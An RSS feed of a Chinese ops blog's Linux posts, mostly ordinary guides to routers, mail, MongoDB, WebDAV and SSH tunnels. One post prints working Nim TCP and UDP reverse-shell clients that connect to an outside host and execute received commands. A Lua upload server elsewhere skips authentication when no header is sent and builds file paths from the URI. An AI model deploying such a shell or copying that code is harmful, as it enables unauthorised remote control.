阅心笔记 - linux
type: channel
link: https://opswill.com/category/linux/
description: all thing about linux
items: 我的 Typecho 插件 CommentToTelegram
items: 微型家用网络折腾记
items: 一个简单的文件服务器
items: MongoDB分片集群配置的流水账
items: 使用 AWS Lambda发送 Telegram 警报
items: nim语言实现跨平台反弹shell
items: Maddy打造个人邮箱服务
items: nginx配置功能完整的webdav服务器
items: OpenSSH建立二层和三层加密隧道
items: 通过curl命令分析http性能

我的 Typecho 插件 CommentToTelegram
type: item
date: 2024-04-29T08:56:00+00:00
description: 不是程序员，作为运维平时写的比较多的是 Bash 和 Python 脚本。工作上运维过挺多的 PHP 站点，被动看过一些 PHP 代码，但从来没写过。最近有点时间，参考了 joyqi 的 Sitemap 插件，试着写了这个 CommentToTelegram 插件，竟然没有太大的阻碍。遇到最大的困难是对 Typecho 接口的理解。 我的需求就是通过 telegram 管理评论，现有的 tyepcho 插件推送到 telegram 都是通过第三方的服务，只能收到通知。唯一一个可以管理的插件已经不能用了，所以自己调用 telegram bot api 写了一个。下面是插件的介绍：介绍CommentToTelegram 是一个全新的 typecho 插件，使用 Telegram API 将评论推送到 Telegram Bot 通知并管理 github 地址 ： CommentToTelegram功能及特性支持 Telegram Inline Button 管理评论状态，可以通过 Telegram 将评论: 批准/删除/标记垃圾支持在Telegram通知上回复评论，在评论通知上点击回复，回复的内容会同步到博客，无需登录博客支持配置代理，支持使用 socks5、https、http 代理访问 Telegram支持异步回调，不会阻塞评论插件版本要求建议 Typecho 版本大于 1.2.1，其他版本未进行测试php: >=8.1.0, 本插件依赖 php-curl 和 php-json如果使用代理功能，建议使用新版本的 php-curl 扩展安装教程下载后将压缩包解压到 /usr/plugins 目录文件夹名改为 CommentToTelegram登录管理后台，激活插件配置插件 填写 Telegram Bot Token 及 Telegram Chat ID，并设置其他参数保存配置，并注意是否有错误提示信息插件升级禁用旧版本插件删除旧版本的文件，并上传然后传新版本解压，文件夹名改为 CommentToTelegram激活插件并设置参数使用教程一、 使用前提：申请 Telegram bot Token： 官方教程通过 Telegam bot api 获取 chat_id: getUpdates API如果看不懂，请自行百度谷歌相关教程二、可配置选项如果插件配置有错误，会在点击 保存设置 后提示错误信息。如网络错误、代理信息错误、用户uid错误等等三、通知详情及评论管理按钮3.1 评论通知每条评论只能管理一次，在点击管理按钮后，通知下方的管理按钮会消失并提示评论处理结果：3.2 评论回复启用 Telegram Inline Button管理评论后，即可以使用回复功能。需要先设置 Typecho 真实的用户 uid，查看 uid：在 Telegam 的评论通知上进行评论回复：回复成功会有提示成功：Typecho 博客上的评论状态：3.3 使用建议建议将所有评论设置为先需要审核（后台->设置->评论->评论提交->所有评论必须经过审核），然后通过本插件进行管理。建议使用typecho前台通过主题的评论框进行回复，本插件回复虽然使用 Typecho 内置接口实现，但被回复的访客无法收到评论提醒（如邮件提醒），查看 Tyepcho 代码怀疑是 bug，已经提了一个 issue 询问，目前暂时无法解决。更多问题可以通过 github issue 页面提交，或者通过 博客、邮件向我反馈感谢https://github.com/joyqi/typecho-plugin-sitemaphttps://github.com/Adoream/typecho-plugin-comment2telegram

微型家用网络折腾记
type: item
date: 2024-03-19T08:03:00+00:00
description: 家里网络环境比较简单，网络相关的硬件也比较少，所以也没啥能折腾的，只有以下几个设备：联通光猫型号是中兴的 F657GV9-C，在没有联通没有下发动态密码时改了桥接。本来还想破解一下开telnet，后来想想把桥接的配置备份出来就行了，没啥特别的需求就不折腾了。软路由彻视的N4100，4核4线程，基础频率1.1g，最高频率2.4g，性能比网上这几年流行的J4125还要差，但比arm架构的强多了。主机有4个 Intel I226 的 2.5G 网口，自己买了8G内存和128G的msata，又加了一个内置风扇，本身发热就不大，和光猫一起丢弱电箱夏天也不用担心散热。不打算折腾虚拟机，直接装一个路由系统足够带千兆的带宽了，重点是一套下来也才四百块。AP，是TP-Link XAP5400GC，单 AP 放在房子中间基本就完全覆盖了物理连接： 光猫（改桥接） --> N4100 --> TPlink AP XAP5400GC。由于想找个和 linux 贴近的开源路由系统，最好是和云也能沾点边，所有选择了 vyos，经过一段时间的使用，实现了以下功能：WAN/LAN 分别使用两个网口，网口绑定，实现盲插PPPoE 拨号 及 DHCP servercake qosZone Based firewall科学相关（略）一些远程访问相关的容器一、物理网卡配置这个小主机有四个 i226 的 2.5g 网口，网口分配 eth0/eth1 WAN 口，eth2/eth3 LAN 口，这个小机器的网卡顺序在系统中默认不是0/1/2/3，因此要绑定网卡名字和 mac 地址，防止重启后名字变化。1.1 绑定网卡名字及 mac 地址set interfaces ethernet eth0 hw-id '60:be:xx:xx:xx:xx' set interfaces ethernet eth1 hw-id '60:be:xx:xx:xx:yy'1.2 开启硬件 offloadoffload 简单理解就是网卡硬件中已经实现了一些数据包的处理，开启后不在使用 cpu 处理，能够提升性能。以 eth0 为例子，其他的网卡也需要设置：set interfaces ethernet eth0 offload gro set interfaces ethernet eth0 offload gso set interfaces ethernet eth0 offload lro set interfaces ethernet eth0 offload rfs set interfaces ethernet eth0 offload rps set interfaces ethernet eth0 offload sg set interfaces ethernet eth0 offload tso set interfaces ethernet eth0 ring-buffer rx '4096' set interfaces ethernet eth0 ring-buffer tx '4096'1.3 WAN/LAN 接口配置我要实现的是 eth0/eth1 绑定成一个 bond0 ，在 bond0 上在启用一个桥接的 br0 作为 wan 口；同理，eth2/eth3 绑定成一个 bond1，在 bond1 上在启用一个桥接的 br1 作为 Lan 口。这样做的好处是 eth0/eth1 和 eth2/eth3 可以随便插，有冗余的效果，稍加配置也可以实现两个端口的链路聚合，实现带宽叠加。配置 wan 和 Lan 口物理网卡绑定：set interfaces bonding bond0 description 'Bond Interface WAN' set interfaces bonding bond0 member interface 'eth0' set interfaces bonding bond0 member interface 'eth1' set interfaces bonding bond1 description 'Bond Interface LAN' set interfaces bonding bond1 member interface 'eth2' set interfaces bonding bond1 member interface 'eth3'设置WAN的桥接 br0 和 LAN 的桥接 br1，这里的 stp 其实开不开都用处不大。另外我给 Lan 口配置了一个10.0.0.254的ip，后续的容器都绑定到这个 ip 上。set interfaces bridge br0 description 'WAN bridge' se…

一个简单的文件服务器
type: item
date: 2024-02-05T10:52:37+00:00
description: 家里的路由器基本上折腾差不多了，用的是小厂家的x86工控机，硬盘也是捡的垃圾，想到自己时不时的升级/重启/异常断电，还是备份一下的配置文件比较稳妥。我用的路由系统的基于debian的VYOS rolling版本，折腾了半个月已经非常熟悉了，用起来比较爽也很稳定，基本满足自己的各种需求。系统自带了同步配置的功能,每次commit前会先同步配置，支持以下几种方式： http://<user>:<passwd>@<host>/<path> https://<user>:<passwd>@<host>/<path> ftp://<user>:<passwd>@<host>/<path> sftp://<user>:<passwd>@<host>/<path> scp://<user>:<passwd>@<host>/<path> tftp://<host>/<path> git+https://<user>:<passwd>@<host>/<path>以上方式中，最简单的就是http方式了，经过抓取日志，vyos 会使用 "POST /config.boot-vyos.20240205_171540" 方式上传配置，其中uri是配置文件名，包体是明文的配置内容，正好我的服务器使用的是openresty，就用lua写了一个简单的文件服务器，接收vyos POST过来的配置。lua脚本实现了以下功能：接收POST包体并保存到文件，文件名为POST请求的uri使用http basic authentication的用户名密码认证接收POST请求,直接接收POST包体然后使用io.open写入文件： local file local upload_path = '/var/www/html/vyos/' ngx.req.read_body() local file_name = ngx.var.uri local data = ngx.req.get_body_data() if file_name then file = io.open(upload_path .. file_name, 'a+') if not file then ngx.log(ngx.ERR, "failed to open file ", file_name) return end end if data then file:write(data) file:close() else ngx.log(ngx.ERR, "data is empty") return end用户名密码认证，使用nginx也能实现，但是认证文件要单独写进文件里。用lua就一个配置文件就能可以了。http basic auth主要是是解析http头Authorization，并使用base64解密用户名密码： local function split(str, delimiter) local result = {} if not str or not delimiter then return result end for match in (str..delimiter):gmatch("(.-)"..delimiter) do if match then table.insert(result, match) end end return result end local function parseHeader(authorization) local base64 = string.sub(authorization, 7) local data = split(ngx.decode_base64(base64), ":") return data[1], data[2] end local header = ngx.req.get_headers()["Authorization"] if header then local username, password = parseHeader(header) if username ~= "vyos.user" or password ~= "vyos.pass" then ngx.header["WWW-Authenticate"] = Basic realm="restricted" ngx.exit(401) end end以上就是核心逻辑，经过测试ngx.req.get_body_data() 读请求包体，会偶尔出现读取不到直接返回 nil 的情况。还需要额外设置client_max_body_size 和client_body_buffer_size, 强制在内存中保存请求体。完整的nginx配置文件如下：ser…

MongoDB分片集群配置的流水账
type: item
date: 2024-01-15T08:20:00+00:00
description: MongoDB的分布式架构是通过使用Sharding（分片）来实现的，使用MongoDB的sharding可以带来以下好处：横向扩展：通过添加更多的shard，MongoDB能够处理更大的数据集和更高的并发访问，提供更好的性能和可扩展性。高可用性：通过将数据复制到多个shard上，并使用复制集提供数据冗余和自动故障转移，MongoDB能够提供高可用性。负载均衡：Mongos路由请求到不同的shard上，从而实现负载均衡，避免单个shard成为瓶颈。一、分片集群组件在一个分片集群中，包含以下组件：分片(shards)，实际存储数据的节点。集群配置集(config)，存储整个分片集群的metadata信息。路由(mongos)，作为应用接入路由节点，是mongodb数据的入口。1.1 Shards每个shard是一个独立的MongoDB实例，负责存储一部分数据，多个独立的shard分片组成整个shards分片集群。每个shard都可以是一个独立的物理服务器或一个复制（Replica Set）。Shard可以动态地添加或删除，以适应数据量的变化。Shard Key用来将数据分发到不同shard。MongoDB根据Shard Key决定将数据存储在哪个shard上。1.2 Config servers（metadata）Config Server是存储集群的元数据（metadata）的特殊MongoDB实例。元数据包括分片键（shard key）的范围和每个分片负责的数据范围。Config Server通常以复制集的形式部署，官方推荐至少3个节点，以提供高可用性和数据冗余。作为config server的复制集必须采用 WiredTiger storage engine。副本节点中没有arbiter。副本节点中没有delayed members。副本节点中必须build indexes。1.3 Router（mongos）mongos是应用程序和分片集群之间的接口，所有对集群的操作及数据读写都连接到mongos进行。应用程序通过Mongos与集群交互，Mongos负责将请求路由到正确的shard上。Mongos还负责跟踪分片集群的状态和管理元数据。二、配置高可用mongodb分片集群MongoDB sharding 高可用集群配置要点：配置mongodb分片集群时，推荐对每个mongod组件使用用域名或hosts绑定。shard集群至少配置2个分片，每个分片都为复制集(1 Primary + 1 Replica + 1 Arbiter)，实现数据冗余。至少3个config server，实现集群高可用。启用多个mongos实例，通过在应用上配置，实现负载均衡。2.1 集群配置说明通常按以下顺序进行集群配置：分别创建shards、config、mongos配置文件确认mongodb各目录是否存在及权限正确按顺序配置并启动分片集群各个组件实例(依次启动config->shards->mongos)初始化复制集分片初始化config server复制集配置集群分片，对DB或Collection开启分片功能使用数据库都连接到mongos节点进行操作2.2 各组件的配置文件2.2.1 shard 配置文件 shard.conf多个shard节点配置相同，需注意dbPath是否存在且权限正确。processManagement: fork: true net: port: 27018 bindIp: 0.0.0.0 systemLog: destination: file path: /opt/mongodb.log logAppend: true logRotate: rename storage: journal: enabled: true dbPath: /opt/data/mongodb/ directoryPerDB: true engine: wiredTiger wiredTiger: engineConfig: cacheSizeGB: 10 directoryForIndexes: true collectionConfig: blockCompressor: zlib indexConfig: prefixCompression: true replication: oplogSizeMB: 20480 replSetName: shardN sharding: clusterRole: shardsvr 2.2.2 config server 配置文件 config.conf多个config节点配置相同，需注意dbPath是否存在且权限正确。processManagement: fork: true net: port: …

使用 AWS Lambda发送 Telegram 警报
type: item
date: 2023-06-29T07:46:00+00:00
description: 一、应用场景有几个 cloudfront distribution 启用了 WAF，经常遇到扫描和攻击，请求数太多了。为了不产生天价账单，做了一个 Telegram 告警，有警报可以实时处理。二、涉及服务AWS Cloudfront: CDN服务进行全球加速AWS WAF： 启用应用防护，过滤异常请求AWS Cloudwatch： 收集 Cloudfront/WAF 指标，创建告警触发 SNSAWS SNS： 发送通知，并触发 Lambda 执行AWS Lambda： 获取 CDN 的指标，并发送 Telegram 通知三、准备工作WAF：设置启用防火墙的过滤规则，设置频率限制等，拦截异常请求Cloudwatch： 根据 WAF 规则创建警报，例如5分钟内如果有3000个异常请求就报警，并创建一个 SNS TopicAWS SNS： 无需特别设置，保持默认即可，也可以继续添加多个subscription订阅，实现多种告警方式AWS Lambbda： 编写代码从 Cloudwatch 中获取 Cloudfront 性能统计指标，并发送给 Telegram 机器人Telegram： 申请一个新的机器人并拿到 token , 难道需要接受告警的 user id（有专门的机器人可以获得）四、部署告警服务4.1 创建 Lambda 函数先创建一个 lambda function，Runtime 选择 python 3.10.其他使用默认设置即可。代码如下：import os import json import urllib3 import boto3 from datetime import datetime, timedelta def lambda_handler(event, context): # 从环境变量中获取 Telegram Bot Token 和聊天 ID bot_token = os.environ['BOT_TOKEN'] user_will_chat_id = os.environ['CHAT_ID'] cloudfront_client = boto3.client('cloudfront') cloudwatch_client = boto3.client('cloudwatch') # 获取所有 CloudFront distributions distributions = cloudfront_client.list_distributions()["DistributionList"]["Items"] # 获取每个 Distribution 的请求数和错误率 distribution_metrics = [] for distribution in distributions: distribution_id = distribution["Id"] distribution_description = distribution['Comment'] requests = get_metrics(cloudwatch_client, distribution_id, 'Requests', ['Sum']) error_rate = get_metrics(cloudwatch_client, distribution_id, 'TotalErrorRate', ['Average']) # 将结果添加到列表中 distribution_metrics.append({ 'DistributionName': distribution_description, 'TotalRequests': requests, 'TotalErrorRate': error_rate }) #按TotalRequests和TotalErrorRate进行排序 sorted_request_metrics = sorted(distribution_metrics, key=lambda x: x['TotalRequests'] if x['TotalRequests'] is not None else 0, reverse=True) sorted_rate_metrics = sorted(distribution_metrics, key=lambda x: x['TotalErrorRate'] if x['TotalErrorRate'] is not None else 0, reverse=True) #获取请求数前3和错误率前3 top3_request_metrics = sorted_request_metrics[:3] top3_rate_metrics = sorted_rate_m…

nim语言实现跨平台反弹shell
type: item
date: 2022-06-02T07:05:00+00:00
description: 在网上看到这个Nim语言，Python的语法，C的性能，还能跨平台，写了两个反弹shell玩了一下。一、tcp 反弹shell，代自动重连功能import net import osproc import os import strutils var ip = "server.nixops.me" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) while true: var socket = newSocket() try: socket.connect(ip, Port(port)) while true: try: socket.send(system.hostOS & "_" & system.hostCPU & "> ") var command = socket.recvLine() var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) socket.send(result) except: socket.close() break except: sleep(10000) continue以上是被控端代码，控制端使用nc监听4444等待连接即可。二、udp反弹shell2.1 udp server控制端import os import strutils import netty var ip = "0.0.0.0" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) var server = newReactor(ip, port) echo "Listenting for UDP on " & ip & ":" & intToStr(port) while true: server.tick() for connection in server.newConnections: echo "[new] ", connection.address for connection in server.deadConnections: echo "[dead] ", connection.address for msg in server.messages: echo ">>> Receive Client MESSAGE: <<<", msg.data echo msg.data echo ">>> Client MESSAGE Finished !<<<" for connection in server.connections: var cmd = readLine(stdin) if cmd.len > 0: server.send(connection, cmd) echo ">>> Success Send Command: " & cmd & " TO: ", connection.address2.2 udp 客户被控端import net import osproc import os import strutils import netty var ip = "server.nixops.me" var port = 4444 var args = commandLineParams() if args.len() == 2: ip = args[0] port = parseInt(args[1]) while true: var client = newReactor() var c2s = client.connect(ip, port) client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ") while true: try: client.tick() var command = "" for msg in client.messages: command.add(msg.data) if command.len > 0: var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) client.sen…

Maddy打造个人邮箱服务
type: item
date: 2021-10-31T08:46:00+00:00
description: Maddy Mail Server 是一个 GO 语言开发的 ALL-IN-ONE 邮件系统，实现了 Mail Transfer agent (MTA), Mail Delivery Agent (MDA), Mail Submission Agent (MSA), IMAP server 等，说人话就是可以替换 Postfix、Dovecot、Opendkim、OpenSPF、OpenDmarc 等传统软件，主要功能是通过 SMTP 发送和接收邮件，通过 IMAP 实现客户端访问，也支持 DKIM、SPF、DMARC、DANE、MTA-STS 等邮件相关的安全和反垃圾协议。对比配置传统软件，即使是像 MailCow、Mail-in-a-Box 等基于 docker 的现成方案，安装、配置也足够简单、开箱即用，可以说是懒人必备。一、准备工作需要准备以下：域名 + nameserver开放25端口的服务器，最好可以做ip反解析干净的IP,可以通过 mxtoolbox 查询黑名单邮件软件 maddy二、安装及配置 Maddy mail server2.1 下载和安装建议使用 docker 安装 Maddy，安装和配置起来更简单。github release 中已经有编译好的各平台可执行文件， 也可以从 github 下载最新版解压使用：wget https://github.com/foxcpp/maddy/releases/download/v0.7.1/maddy-0.7.1-x86_64-linux-musl.tar.zstzst 后缀需要安装 zstd 进行解压：yum install zstd -y tar -I zstd -xvf maddy-0.7.1-x86_64-linux-musl.tar.zst解压之后的目录有5个文件，安装 Maddy：mv maddy maddyctl /usr/local/bin/ mkdir /etc/maddy && mv maddy.conf /etc/maddy/ mv systemd/*.service /usr/lib/systemd/system/ mv man/*.1 /usr/share/man/man1/ && mv man/*.5 /usr/share/man/man5/2.2 配置 maddy mail server2.2.1 添加用户官方不建议 root 权限运行，先添加一个不可登录的普通用户：useradd -mrU -s /sbin/nologin -c "maddy mail server" maddy添加完用户，设置一下相关的目录及文件的权限：chown -R maddy:maddy /usr/local/bin/maddy* /etc/maddy 2.2.2 更改配置文件默认配置文件在 /etc/maddy/maddy.conf ，里面已经有一个开箱即用的配置，只需修改几个参数即可使用。$(hostname) = mx1.opswill.com mx2.opswill.com $(primary_domain) = opswill.com $(local_domains) = $(primary_domain) other.domain.com tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem state_dir /etc/maddy/state runtime_dir /etc/maddy/runtime log syslog /var/log/maddy.log按需修改以上内容即可，如果创建的普通用户未指定 home 目录，配置文件中的 state_dir、runtime_dir 需先创建目录并给权限。2.2.3 申请 ssl 证书SMTPs 和 IMAPs 服务需要 TLS 证书，建议使用 Let's Encrypt 的泛域名证书，具体申请方法就不介绍了。证书需放入 /etc/maddy/certs/$(hostname) 中，在配置文件中指定时，需先写公钥（.crt），在写私钥 (.key)证书需设置一下权限：sudo setfacl -R -m u:maddy:rX /etc/maddy/certs/2.2.4 创建用户maddy 使用虚拟用户，所以不像 postfix 和 dovecot 一样需要创建系统用户。maddy 需要创建登录账户和 IMAP 的本地存储账户，登录账户是 SMTP 和 IMAP 登录时的验证信息： maddyctl creds create will@opswill.com创建本地储…

nginx配置功能完整的webdav服务器
type: item
date: 2021-08-18T08:24:00+00:00
description: webdav可以通过HTTP协议对 Web 服务器进行文件读写，并支持文件的版本控制和写文件的加锁及解锁等操作，各平台都有客户端，支持的软件也多，对于没有复杂需求的跨平台网盘，是一个不错的选择。一、所需模块ngx_http_dav_module： nginx自带模块，默认未启用，支持webdav的PUT、DELETE、 MKCOL、COPY、MOVE等基础的方法nginx-dav-ext-module： 提供了额外的PROPFIND、OPTIONS、LOCK、UNLOCK方法支持headers-more-nginx-module： IOS、windows等默认客户端使用COPY、MOVE等方法时，$http_destination中的URI没有带上"/",导致出现无法删除、重命名文件或文件夹等错误，该模块可以修复该错误，兼容更多的客户端ngx_http_auth_basic_module：提供基础的用户验证二、安装依赖及编译我用的是openresty,默认已经编译了headers-more-nginx-module，nginx默认就已经启用了ngx_http_auth_basic_module，所以编译时只需在原参数后启用http_dav_module及nginx-dav-ext-module及可，先解决openresty和nginx-dav-ext-module模块的依赖关系。2.1 安装nginx-dav-ext-module 的依赖dnf install libxml2 libxslt2.2 安装 openresty 相关依赖dnf install pcre-devel zlib-devel openssl-devel gcc gcc-c++ make 2.3 下载 openresty 和 nginx-dav-ext-modulewget https://openresty.org/download/openresty-1.19.9.1.tar.gz git clone https://github.com/arut/nginx-dav-ext-module2.4 编译 openresty在原有的编译参数后启用 dav 相关的模块：./configure --prefix=/opt/openresty/ --with-threads --with-http_ssl_module \ --with-http_v2_module --with-http_realip_module --with-http_addition_module \ --with-http_gunzip_module --with-http_gzip_static_module --with-http_auth_request_module \ --with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module\ --with-http_slice_module --with-http_stub_status_module --with-stream --with-stream_ssl_module\ --with-stream_ssl_preread_module --with-http_flv_module --with-http_mp4_module \ --with-http_sub_module --with-http_slice_module --with-http_stub_status_module \ --with-http_dav_module --add-module=../nginx-dav-ext-module/三、配置nginx的dav模块3.1 nginx配置文件#在 http 段加入,mac 客户端需要启用锁支持 dav_ext_lock_zone zone=webdav:10m; server { listen 80; listen 443 ssl http2; server_name dav.nixops.me ; access_log logs/dav_access.log main; error_log logs/dav_error.log; ssl_certificate "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.crt"; ssl_certificate_key "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.key"; location / { #设置webdav目录，注意Nginx …

OpenSSH建立二层和三层加密隧道
type: item
date: 2021-06-10T10:00:00+00:00
description: OpenSSH 可以使用tun/tap设备来创建一个加密隧道，SSH隧道类似mode TCP模式下的OpenVPN，对于有需求快速设置一个基于IP的VPN来说非常方便。使用SSH隧道的优点：不需要安装和配置额外的软件使用SSH认证并自带加密，不需要使其它VPN软件一样配置共享密钥或者证书兼容性强，可以建立二层隧道或三层隧道，所有3/4层协议如：ICMP、TCP/UDP 等都可支持配置过程简单当然也有缺点：基于TCP协议，其传输效率较低隧道依赖于单个TCP连接，容易中断或假死需要ROOT权限这里还要说明一下二层和三层的区别：layer 2 : 交换单元是帧，只识别MAC地址，只有交换功能，相关协议：Ethernet、VLAN、STP、PPP、FDDI、ARP（OSI模型）、MPLS（介于2层3层之间）等，在Linux中是虚拟点对点设备，显示为taplayer 3 : 交换单元是包，能识别MAC地址和IP，有交换和路由功能，相关协议：IP、ICMP、IGMP、IPsec等，在Linux中是虚拟以太网设备，显示tun在Linux中tun/tap都可以设置IP，只是模拟的工作层有区别，tun是模拟三层网络设备，收发的是IP包，无法处理以太网数据帧。tap模拟的是二层设备，收发的是以为网数据帧，更接近物理网卡，可以和物理网卡通过网桥绑定。我们日常用的wmware虚拟机中的nat网络，对应的就是tun，桥接网络对应的就是tap。一、ssh server端配置首先要使用ssh的二层和三层隧道，尽量保证系统差别不要太大，我这里两边都是oracle linux 8，SSH版本更新到最新。server端需要允许root登录和隧道，编辑/etc/ssh/sshd_config：PermitRootLogin yes PermitTunnel yes #建议添加 TCPKeepAlive yesPermitTunnel yes代表允许point-to-point (layer 3)和ethernet (layer 2)二、三层隧道配置2.1 建立三层隧道在client端执行：ssh -w any:any root@[server_ip] 如果客户端和服务器端没有其它的tun设备，就会在客户端和服务器端各生成一个名为tun0设备，指定any可以自动分配可用的设备。查看设备：[root@centos8 ~]# ip addr 3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500 link/none 可以看到有个tun0 <POINTOPOINT,MULTICAST,NOARP>，这个设备是未激活的状态，如果用ifconfig命令查看，需要加上-a参数才能看到。为安全起见，建议使用以下命令：ssh -NTCf -w 5:5 root@[server_ip]“-N”：不执行远程命令“-T”：不分配终端“-C”：压缩传输的流量“-f”：在客户端后台运行执行完该命令client和server各自会创建一个tun5的点对点设备，下一步就是需要激活设备并分配IP。2.2 分配IP并激活隧道分配IP不要与服务器和客户端网段有冲突，这里假设：客户端IP：10.0.0.2 tun5服务器IP：10.0.0.1 tun5服务器激活点对点设备并分配IP和路由：ip link set tun5 up ip addr add 10.0.0.1/32 peer 10.0.0.2 dev tun5客户端同理：ip link set tun5 up ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5这时隧道已经建立成功，此时用查看一下状态：[root@centos8 ~]# ip addr 14: tun5: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500 link/none inet 10.0.0.1 peer 10.0.0.2/32 scope global tun5可以看到比之前多了“UP,LOWER_UP”，说明已经激活。正常情况下客户端和服务器已经可以相互ping。客户端用一条命令也能搞定：ssh \ -o PermitLocalCommand=yes \ -o LocalCommand="ip link set tun5 up && ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5 " \ -o TCPK…

通过curl命令分析http性能
type: item
date: 2021-06-01T09:09:00+00:00
description: 通常HTTP的性能分析是通过浏览器的开发者工具进行查看，但这种方式只能通过图形页面进行查看。如果想做性能监控或者在命令行下分析，可以通过curl命令来统计各阶段的耗时。我们先来看看一个HTTP请求的过程：(图片来自cloudflare)每次http请求经过这些过程： 客户端发起请求-->DNS解析-->TCP连接-->SSL等协议握手-->服务器处理-->内容传输-->完成查看curl 命令的手册，curl命令支持以下阶段的时间统计：time_namelookup : 从请求开始到DNS解析完成的耗时time_connect : 从请求开始到TCP三次握手完成耗时time_appconnect : 从请求开始到TLS握手完成的耗时time_pretransfer : 从请求开始到向服务器发送第一个GET请求开始之前的耗时time_redirect : 重定向时间，包括到内容传输前的重定向的DNS解析、TCP连接、内容传输等时间time_starttransfer : 从请求开始到内容传输前的时间time_total : 从请求开始到完成的总耗时我们常关注的HTTP性能指标有：DNS请求耗时 ： 域名的NS及本地使用DNS的解析速度TCP建立耗时 ： 服务器网络层面的速度SSL握手耗时 ： 服务器处理HTTPS等协议的速度服务器处理请求时间 ： 服务器处理HTTP请求的速度TTFB ： 服务器从接收请求到开始到收到第一个字节的耗时服务器响应耗时 ：服务器响应第一个字节到全部传输完成耗时请求完成总耗时注意： 如果想分析HTTP性能的瓶颈，不建议使用带有重定向的请求进行分析，重定向会导致建立多次TCP连接或多次HTTP请求，多次请求的数据混在一起，数据不够直观，因此 time_redirect 对实际分析意义不大。其中的运算关系：DNS请求耗时 = time_namelookupTCP三次握手耗时 = time_connect - time_namelookupSSL握手耗时 = time_appconnect - time_connect服务器处理请求耗时 = time_starttransfer - time_pretransferTTFB耗时 = time_starttransfer - time_appconnect服务器传输耗时 = time_total - time_starttransfer总耗时 = time_total用curl命令统计以上时间：curl -w '\ntime_namelookup=%{time_namelookup}\ntime_connect=%{time_connect}\ntime_appconnect=%{time_appconnect}\ntime_redirect=%{time_redirect}\ntime_pretransfer=%{time_pretransfer}\ntime_starttransfer=%{time_starttransfer}\ntime_total=%{time_total}\n\n' -o /dev/null -s -L 'https://www.nixops.me/'以上内容不够直观，curl -w参数支持模板，新建一个文件timing.txt,内容如下：time_namelookup=%{time_namelookup}\n time_connect=%{time_connect}\n time_appconnect=%{time_appconnect}\n time_redirect=%{time_redirect}\n time_pretransfer=%{time_pretransfer}\n time_starttransfer=%{time_starttransfer}\n time_total=%{time_total}\n使用模板在执行一次：curl -w "@timing.txt" -o /dev/null -s -L 'https://www.nixops.me/'将上述功能生成脚本stat.sh#!/bin/bash #author : will #website: https://www.nixops.me Default_URL=https://www.nixops.me URL=${1:-$Default_URL} Result=`curl -o /dev/null -s $URL \ -w \ 'time_namelookup=%{time_namelookup} time_connect=%{time_connect} time_appconnect=%{time_appconnect} time_redirect=%{…